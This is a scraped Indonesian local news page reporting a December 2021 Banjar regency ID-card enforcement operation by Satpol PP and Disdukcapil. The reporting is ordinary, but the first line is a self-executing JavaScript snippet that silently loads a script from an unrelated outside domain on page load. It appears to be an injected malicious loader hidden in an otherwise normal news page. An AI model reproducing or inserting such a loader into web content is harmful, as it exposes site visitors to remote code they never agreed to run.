(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Satpol PP dan Disdukcapil Banjar Gelar Operasi Yustisi Administrasi Kependudukan


KANALKALIMANTAN.COM, MARTAPURA– Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar dan Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Banjar dan dibantu Polri, menggelar Operasi Yustisi penegakan Perda Kabupaten Banjar No.3 tahun 2016 tentang perubahan atas Perda Kabupaten Banjar No.2 tahun 2012 tentang penyelenggaraan Administrasi Kependudukan (Adminduk).

Operasi ini digelar di halaman Pemkab Banjar, Selasa (14/12/2021) pagi. Kegiatan ini akan berlangsung hingga besok 15 Desember 2021.

Kepala Bidang Penegakan Produk Hukum Daerah (PPHD) Satpol PP Banjar Agus Siswanto menjelaskan, operasi gabungan yustisi ini tentang penegakan Perda Adminduk menyelenggarakan razia KTP Elektronik.

“Setiap penduduk khususnya warga Kabupaten Banjar wajib memiliki identitas kependudukan sesuai Undang-Undang Adminduk. Capaian kepemilikan KTP Elektronik saat ini untuk Kabupaten Banjar 96%, sementara capaian Nasional untuk kepemilikan KTP Elektronik 98%,” katanya.

 

Baca juga : Seluruh Cabor Terima LPJ Pengurus KONI Barsel Periode 2017-2021

Dengan Operasi Yustisi ini Bupati Banjar menyarankan agar dapat mencapai target nasional itu dan dalam penegakan Perda ini untuk menjaring masyarkat yang tidak memiliki KTP Elektronik serta memberikan edukasi kepada masyarakat.

Lebih lanjut Agus mengatakan Pemerintah Kabupaten Banjar memberikan kemudahan dalam mengurus KTP Elektronik, dalam Operasi Yustisi ini juga menghadirkan dari Disdukcapil Banjar untuk membantu warga kita yang belum memiliki KTP Elektronik.

“Sanksi yang diberikan apabila tidak memiliki KTP Elektronik paling tinggi sebesar Rp50.000 sesuai Perda Adminduk, untuk sementara yang terjaring atau melanggar tidak memiliki KTP sebanyak 4 orang,” terangnya.

Dijelaskannya, tetapi bagi warga yang masih bisa dibina dan diberikan edukasi yang tidak memiliki KTP Elektronik, dibantu memenuhi haknya membuat KTP Elektronik. Untuk membuat KTP Elektronik sangat mudah dan bisa dilakukan secara online serta pengiriman sampai ke rumah di seluruh Kecamatan di Kabupaten Banjar. Biayanya juga hanya Rp10.000, kerja sama Disdukcapil Banjar dengan Kantor Pos. (Kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

19 menit ago

Penataan Blok Pasar di Kawasan Jalan Jenderal Sudirman, Pemkab Kapuas Siapkan Relokasi

KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More

17 jam ago

Pimpin Rakor Mingguan, Bupati Soroti Pengelolaan Taman CBS

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More

18 jam ago

Pemkab Kapuas – PT Taspen Teken Kerja Sama, Bupati Wiyatno Tekankan Disiplin dan Kinerja PPPK

KANALKALIMANTAN.COM KUALA KAPUAS - Pemerintah Kabupaten Kapuas menandatangani kesepakatan bersama dan perjanjian kerja sama dengan… Read More

18 jam ago

‎Bupati HSU Dorong Kerjasama Solid Antar ASN dalam Pembangunan Daerah

‎KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU), H Sahrujani berikan apresiasi dan terima kasih… Read More

19 jam ago

Menkomdigi di HPN: Pers Tak Boleh Kalahkan Kepercayaan Publik Demi Kecepatan dan Algoritma

KANALKALIMANTAN.COM, SERANG - Menteri Komunikasi dan Digital (Menkomdigi) Meutya Hafid menegaskan bahwa kolaborasi strategis antara… Read More

1 hari ago

This website uses cookies.